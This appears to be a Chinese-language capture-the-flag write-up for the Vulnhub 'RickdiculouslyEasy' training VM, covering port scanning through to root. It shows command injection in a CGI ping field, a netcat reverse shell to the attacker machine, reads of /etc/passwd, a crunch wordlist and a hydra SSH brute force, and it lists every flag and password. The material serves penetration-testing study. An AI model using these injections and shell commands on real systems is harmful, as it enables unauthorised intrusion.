简介
Vulnhub简介
Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
下载链接
https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip
靶机说明
靶机用ValualBox创建,是一个面向初学者设计的CTF,简单的Boot to root游戏,同时里面有合计130 points的Flag。
目标
Boot to root:获得root权限,并获得合计130 points的Flag。
运行环境
靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),虚拟机启动后会显示IP是192.168.56.101。
攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.56.100,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Hydra、Python2.7、DirBuster、AWVS、Nessus等渗透工具。同样推荐使用Kali Linux作为攻击机,预装了全面的渗透工具。
信息收集
端口服务识别
启动虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:
nmap -p1-65535 -A 192.168.56.101 -oN rick.txt
汇总开放的端口和服务:
端口 服务 后台系统 或 提示信息
21 FTP vsftpd3.0.3 允许匿名登录
22 未知服务 Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)
80 http Apache httpd 2.4.27 ((Fedora)
9090 http Cockpit web service
13337 未知服务 获得FLAG:{TheyFoundMyBackDoorMorty}-10Points
22222 ssh OpenSSH 7.5 (protocol 2.0)
60000 未知服务 Welcome to Ricks half baked reverse shell
漏洞挖掘
渗透思路:
(1) 依次查看每个端口运行的服务,能直接利用则获得Flag。
(2) 先查看全部非Web服务,再查看Web服务,通常会通过Web服务入手获得shell后提权。
(3) 最后聚焦Web服务进行web渗透和提权。
0x01 端口13337:10 Points
一血,信息收集时Nmap扫描13337扫描得到Flag,10 Points。
FLAG:{TheyFoundMyBackDoorMorty}-10 Points
总分:1 flag,total 10 points/130 points
0x02 端口21:FTP匿名登录,10 Points
Nmap扫描发现21端口的FTP允许匿名登录,使用任何FTP工具或者FTP命令匿名登录21端口,如下截图使用Xftp登录:
获得FLAG{Whoa this is unexpected} - 10 Points
总分:2 flags,total 20 points/130 points
0x03 端口9090:https网页,10 Points
访问https://192.168.56.101:9090/,在Web页面获得Flag:
FLAG {There is no Zeus, in your face!} - 10 Points
总分:3 flags,total 30 points/130 points
0x04 端口22:获得系统及内核版本
Nmap扫描发现22端口不是ssh服务,ssh在22222端口,使用nc连接22端口:nc -nv 192.168.56.101 22获得内核和系统版本:Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)
0x05 端口22222:ssh服务
Nmap扫描时发现22222端口运行ssh服务,使用Xshell工具连接,目前没有获得用户名密码,暂无法登录。
0x06 端口60000:用户shell,10 Points
Nmap扫描时发现提示Welcome to Ricks half baked reverse shell,这是一个shell,使用nc连接成功:nc -nv 192.168.56.101 60000,查看目录和文件发现Flag。
FLAG{Flip the pickle Morty!} - 10 Points
总分:4 flags,total 40 points/130 points
检测该shell权限,whoami命令显示是root,但是该shell只有访问Flag和执行几个命令的权限,无法进一步利用。
至此已访问全部非Web端口,共获得了4个Flag,40 Points。继续访问80端口web服务。
0x07 端口80:暴破目录和获得Flag
(1) 访问http://192.168.56.101/进入首页:
Windows下使用DirBuster工具进行目录暴破,kali下可使用dirb工具暴破:
获得passwords目录,Flag和passwords.html页面,依次访问。
(2) 目录http://192.168.56.101/passwords/:
(3) 访问passwords目录下的FLAG.txt:10 Points
FLAG{Yeah d- just don't do it.} - 10 Points
总分:5 flags,total 50 points/130 points
(4) 访问passwords.html页面,获得密码:
提示该页面存储了密码Storing passwords in a file called passwords.html
查看网页源码获得密码winter
0x08 通过robots.txt找到命令执行页面
(1) 读取robots.txt文件(也可以通过dirb暴破出rebots.txt):
发现有两个文件:/cgi-bin/root_shell.cgi和/cgi-bin/tracertool.cgi,第一个疑似root shell。
(2) 访问/cgi-bin/root_shell.cgi 提示正在建设中。
(3) 访问/cgi-bin/tracertool.cgi,发现ping命令执行界面,可以ping一个IP,输入127.0.0.1;id即可执行id命令:
获取shell
0x09 命令执行获得shell
(1) 命令执行好获得shell有多种姿势,使用nc反弹shell,执行命令127.0.0.1;nc -e /bin/bash 192.168.56.100 4444
(2) windows攻击机开启nc监听4444端口,并接收反弹shell成功:
(3) 读取/etc/passwd
cat命令被替换成了猫猫的图形,more命令在shell中不回显。
执行nl /etc/passwd读取文件,或者在执行ping命令的/cgi-bin/tracertool.cgi页面输入127.0.0.1;more /etc/passwd也可以读取
系统中存在3个用户:RickSanchez、Morty和Summer。
(4) 之前已经获得了一个密码winter,尝试用这个密码登录3个用户的ssh(22222端口)和FTP:用户名Summer,密码winter登录成功。
在xshell中ssh登录并获得Flag或者在xftp中登录Summer账号并获得Flag:
FLAG{Get off the high road Summer!} - 10 Points
总分:6 flags,total 60 points/130 points
0x10 查找其他用户的文件和Flag
(1) 查找用户RickSanchez和Morty的文件
命令find / -user RickSanchez 2>/dev/null和find / -user Morty 2>/dev/null,在home目录用tree命令列出文件:
发现可以读取两个用户home目录里面的问文件,分别进去查找隐藏文件。
(2) Morty的文件和Flag
进入Morty目录,发现journal.txt.zip和Safe_Password.jpg文件
将这两个文件复制到Summer用户的home目录:
然后通过用Summer账号登录FTP下载下来:
zip压缩包有密码,先看jpg图片,因windows下没有kali的strings命令,用Notepad++或者记事本打开,在前几行发现密码:Password: Meeseek The Safe Password: File: /home/Morty/journal.txt.zip
通过密码Meeseek打开journal.txt.zip压缩包,得到Flag和一个safe密码131333。看文字提示a safe, and a password
FLAG: {131333} - 20 Points
总分:7 flags,total 80 points/130 points
(3) RickSanchez的文件和Flag
发现可执行文件safe:
把safe复制到Summer的用户目录下,执行safe文件:
提示需要使用命令行参数Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE argument
上面获取了密码131333,将其作为参数执行./safe 131333
获得FLAG{And Awwwaaaaayyyy we Go!} - 20 Points
总分:8 flags,total 100 points/130 points
同时得到Rick的密码提示信息:Rick可能是wheel组成员,具有sudo权限;Rick的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。
提升权限
0x11 生成字典,暴破Rick密码
(1) 先百度或谷歌找到Rick的乐队名字,百度搜索RickSanchez Morty Summer,得到瑞克与莫蒂,第一个搜索结果就是WIKI介绍,点击进去查看
这是一部动画片,在WIKI里面找到了乐队的名字The Flesh Curtains
(2) 生成密码字典:
密码第1位:A-Z中的一个大写字母;
密码第2位:0-9中的一个数字;
密码第3位:The或者Flesh或者Curtains,这3个单词之一。
在Kali下使用crunch工具生成字典,生成3次字典,追加写入到rick.txt文件,crunch命令参数说明: crunch 密码最小长度 密码最大长度 -t参数是自定义密码输出格式 ,代表大写字母 %代表数字
生成包含单词The的密码,写入rick.txt字典crunch 5 5 -t ,%The > rick.txt
生成包含Flesh的密码,追加写入rick.txt字典:crunch 7 7 -t ,%Flesh >> rick.txt
生成包含Curtains的密码,追加写入rick.txt字典:crunch 10 10 -t ,%Curtains >> rick.txt
生成的rick.txt字典有780行,可以在Kali中使用九头蛇、美杜莎暴破ssh。
(3) 暴破RickSanchez密码:
由于VMWare下的Kali机没有和VBox靶机的host-only网卡连接,所以使用Windows物理机的九头蛇暴破密码:
进入九头蛇目录,命令hydra.exe -l RickSanchez -P rick.txt -t 4 ssh://192.168.56.101:22222
暴破完成,得到login: RickSanchez password: P7Curtains
0x12 获得root权限
(1) 使用xshell工具ssh登录RickSanchez账号,密码P7Curtains
(2) 提权到root,执行命令sudo su -,密码P7Curtains
(3) 获得Flag
FLAG: {Ionic Defibrillator} - 30 points
总分:9 flags,total 130 points/130 points
游戏通关,已经提权至root,并获得全部FLag。
总结
突破点和坑:
(1) Nmap扫描发现的每个端口和服务都需要查看,防止遗漏Flag。
(2) 查看网页源码和图片的可打印字符,获取账号密码。
(3) 获取到用户Summer和密码winter后,反弹shell没有必要了,因为可以ssh登录。
(4) 难点和坑是制作RickSanchez账号的密码字典,首先要看英文提示Rick的密码由哪些字母或单词组成,其次要找到乐队名字的单词,乐队名是通过搜索引擎找到的,最后用工具做成字典,需熟悉字典制作工具的使用,或者用py写几次循环。
全部Flag列表:
得分 Flag 端口和位置
10 FLAG:{TheyFoundMyBackDoorMorty} 端口13337
10 FLAG{Whoa this is unexpected} 端口21,FTP匿名登录
10 FLAG {There is no Zeus, in your face!} 端口9090,https服务
10 FLAG{Flip the pickle Morty!} 端口60000,nc连接
10 FLAG{Yeah d- just don't do it.} 端口80,passwords目录
10 FLAG{Get off the high road Summer!} 用户Summer目录
20 FLAG: {131333} 压缩包journal.txt.zip
20 FLAG{And Awwwaaaaayyyy we Go!} 可执行文件safe
30 FLAG: {Ionic Defibrillator} root根目录
* 本文作者:Setup,转载请注明来自FreeBuf.COM